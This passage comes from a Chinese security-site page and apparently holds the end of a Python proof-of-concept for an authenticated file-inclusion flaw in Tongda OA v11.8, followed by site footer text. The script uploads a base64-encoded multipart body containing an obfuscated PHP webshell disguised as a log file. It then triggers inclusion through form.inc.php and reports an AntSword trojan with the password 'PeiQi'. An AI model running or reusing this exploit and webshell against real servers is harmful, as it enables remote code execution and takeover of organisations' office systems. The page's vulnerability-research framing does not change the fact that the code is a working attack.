        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "multipart/form-data; boundary=---------------------------17518323986548992951984057104",
        "Connection": "close",
        "Cookie":  Cookie,
        "Upgrade-Insecure-Requests": "1",
    }
    data = base64.b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkubG9nIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCjw/cGhwIAplY2hvICJQZWlRaV9XaWtpIjsKJGZPZ1Q9Y3JlYXRlX2Z1bmN0aW9uKGJhc2U2NF9kZWNvZGUoJ0pBPT0nKS5jaHIoMTE0MTk1Lzk5Mykuc3RyX3JvdDEzKCdiJykuc3RyX3JvdDEzKCd6JykuY2hyKDcwOC02MDcpLGNocigweGM2MGUvMHgxZjYpLmJhc2U2NF9kZWNvZGUoJ2RnPT0nKS5zdHJfcm90MTMoJ24nKS5jaHIoMzkwLTI4MikuY2hyKDB4MWFlLTB4MTg2KS5jaHIoMHgzYWMtMHgzODgpLmNocigweGQ1NjEvMHgxZGIpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5iYXNlNjRfZGVjb2RlKCdiUT09JykuYmFzZTY0X2RlY29kZSgnWlE9PScpLnN0cl9yb3QxMygnKScpLmNocig3OTgtNzM5KSk7JGZPZ1QoYmFzZTY0X2RlY29kZSgnT1RNMk4nLidETTNPMCcuJ0JsZGtGJy4nc0tDUmYnLicnLnN0cl9yb3QxMygnSCcpLnN0cl9yb3QxMygnUicpLmNocig0MTM4Mi83MjYpLnN0cl9yb3QxMygnRycpLmJhc2U2NF9kZWNvZGUoJ1ZnPT0nKS4nJy4nJy5iYXNlNjRfZGVjb2RlKCdSZz09Jykuc3RyX3JvdDEzKCdnJykuc3RyX3JvdDEzKCdEJykuYmFzZTY0X2RlY29kZSgnV2c9PScpLmNocigyMzc1MS8yNzMpLicnLidsUmFWMCcuJ3BPekk0Jy4nTURrek0nLidURTcnLicnKSk7Pz4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0K")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/peiqi \033[0m".format(target_url))
        if "档案已保存" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 成功上传 peiqi.log 文件, \033[0m".format(target_url))
            POC_3(target_url, Cookie)
        else:
            print("\033[31m[x] 目标 {} 上传 peiqi.log 文件失败\033[0m".format(target_url))
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_3(target_url, Cookie):
    vuln_url = target_url + "/general/reportshop/workshop/report/attachment-remark/form.inc.php?"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Cookie":  Cookie,
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php? \033[0m".format(target_url))
        if "PeiQi_Wiki" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {} 存在漏洞,响应中包含 PeiQi_Wiki \033[0m".format(target_url))
            print("\033[32m[o] 成功上传蚁剑木马 密码为: PeiQi \n[o] webshell路径: {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?\033[0m".format(target_url))

        else:
            print("\033[31m[x] 目标 {} 不存在漏洞,响应中不包含 PeiQi_Wiki\033[0m".format(target_url))
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)



if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    Cookie = "PHPSESSID=ug4ip8ohugo61bmu399npplep5; USER_NAME_COOKIE=admin; OA_USER_ID=admin"
    POC_1(target_url, Cookie)
通达OA v11.8 update.php 后台文件包含命令执行漏洞

 

What are your Feelings
更新于 2022年10月1日
通达OA v11.8 update.php 后台文件包含XSS漏洞通达OA v11.9 upsharestatus 后台SQL注入漏洞
目录
  • 漏洞描述
  • 漏洞影响
  • 漏洞复现
  • 漏洞POC
黑客街 黑客街
黑客街导航站是一款努力把互联网安全站点集接到一起,希望为每个小伙伴提供良好的"安全"体验。

街头小贩 匿名追踪 杀软对比

黑客街公众号黑客街

黑客街公众号

我要合作黑客街

我要合作

关于我们 免责说明 商务合作

Copyright © 2022 黑客街   豫ICP备19005024号    站点地图

  
常用
搜索
工具
社区
生活
求职
    热门推荐: